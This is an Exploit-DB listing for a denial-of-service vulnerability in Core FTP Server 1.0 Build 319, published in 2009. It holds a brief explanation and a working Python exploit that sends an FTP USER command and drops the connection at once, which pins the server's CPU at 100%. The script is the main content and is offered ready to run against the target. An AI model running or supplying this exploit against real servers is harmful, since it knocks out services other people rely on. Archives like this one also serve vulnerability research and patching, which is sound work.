Core FTP Server 1.0 Build 319 - Denial of Service

EDB-ID:

10303

CVE:


Type:

dos

Platform:

Windows

Published:

2009-12-04

# Note: FTP account is not required for exploitation
# http://www.mertsarica.com
# I discovered a denial-of-service vulnerability on Core FTP Server product.
# When you send "USER test\r\n" and then kills the connection
# immediately, cpu increases to 100% and stays at that level until you
# stop the ftp service.


import socket, sys

HOST = 'localhost'    
PORT = 21             
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try: 
    s.connect((HOST, PORT))
except:
    print "Connection error"
    sys.exit(1)

try:
    s.send('USER MS\r\n') # magic packet
    s.close()
    print("Very good, young padawan, but you still have much to learn...")
except:
    print "Connection error"
    sys.exit(1)